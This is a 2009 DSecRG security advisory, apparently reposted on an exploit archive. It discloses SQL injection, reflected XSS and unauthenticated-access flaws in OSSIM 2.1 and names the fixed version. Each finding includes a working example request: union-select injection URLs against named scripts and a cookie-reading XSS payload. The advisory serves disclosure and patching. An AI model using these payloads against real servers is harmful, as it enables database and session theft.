OSSIM 2.1 SQL Injection and xss

===============================
OSSIM 2.1 SQL Injection and xss
===============================


OSSIM - Open Source Security Information Management is vulnerable to multiple security vulnerabilities.
 
1. SQL Injections
2. Linked XSS
3. Unauthorized access
 
 
 
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-055
 
 
Application: OSSIM
Versions Affected: 2.1 and may be 2.1.1
Vendor URL: http://ossim.net/
Bug: SQL Injection,XSS, Unauthorized access
Exploits: YES
Reported: 07.09.2009
Vendor response: 09.09.2009
Solution: YES (version 2.1.2)
Date of Public Advisory:21.09.2009
Author: Sintsov Alexey of Digital Security Research Group [DSecRG]
 
Details
*******
 
1.1 SQL injections in repository
 
Attacker need to be authorized in system for success.
 
Vulnerable script - repository_document.php
Vulnerable parameter - id_document
 
Example
*******
 
http://OSSIM-SERVER/ossim/repository/repository_document.php?id_document=-3
union select 1,2,user(),4,5,6--&maximized=1&search_bylink=&pag=1
 
1.2 SQL injections in repository
 
Attacker need to be authorized in system for success.
 
Vulnerable script - repository_links.php
Vulnerable parameter - id_document
 
Example
*******
 
http://OSSIM-SERVER/ossim/repository/repository_links.php?id_document=-3
union select 1,user(),3,4,5,6
 
 
1.3 SQL injections in repository
 
Attacker need to be authorized in system for success.
 
Vulnerable script - repository_editdocument.php
Vulnerable parameter - id_document
 
Example
*******
 
http://OSSIM-SERVER/ossim/repository/repository_editdocument.php?id_document=-3
union select 1,user(),3,4,5,6
 
 
 
1.4 SQL injection in policy scripts
 
Attacker need to be authorized in system for success.
 
Vulnerable script - getpolicy.php
Vulnerable parameter - group
 
 
Example
*******
 
http://OSSIM-SERVER/ossim/policy/getpolicy.php?group=0 and 1=1
 
 
1.5 SQL injection in policy scripts
 
Attacker need to be authorized in system for success.
 
Vulnerable script - newhostgroupform.php
Vulnerable parameter - name
 
 
Example
*******
 
http://OSSIM-SERVER/ossim/host/newhostgroupform.php?name=' union select
user(),'b','c','d','f
 
 
1.6 SQL injection in policy scripts
 
Attacker need to be authorized in system for success.
 
Vulnerable script - modifynetform.php
Vulnerable parameter - name
 
Example
*******
 
http://OSSIM-SERVER/ossim/net/modifynetform.php?name=' union select
user(),'b','c','d','e','f','g','h','a
 
 
And others scripts in policy menu.
 
 
2. Linked XSS in main menu
 
Vulnerable script /ossim/
Vulnerable parameter - option
 
Example
*******
 
http://OSSIM-SERVER/ossim/?option=0" onload=alert(document.cookie) a="
 
3. Access to data without authentication.
 
Unauthorized user can see graphs and infrastructure
 
 
Example
*******
 
Access to the graph:
http://OSSIM-SERVER/ossim/graphs/alarms_events.php
 
Internal infrastructure view:
http://OSSIM-SERVER/ossim/host/draw_tree.php
 
 
 
 
Fix Information
***************
 
Upgrade to version 2.1.2



#  0day.today [2018-03-06]  #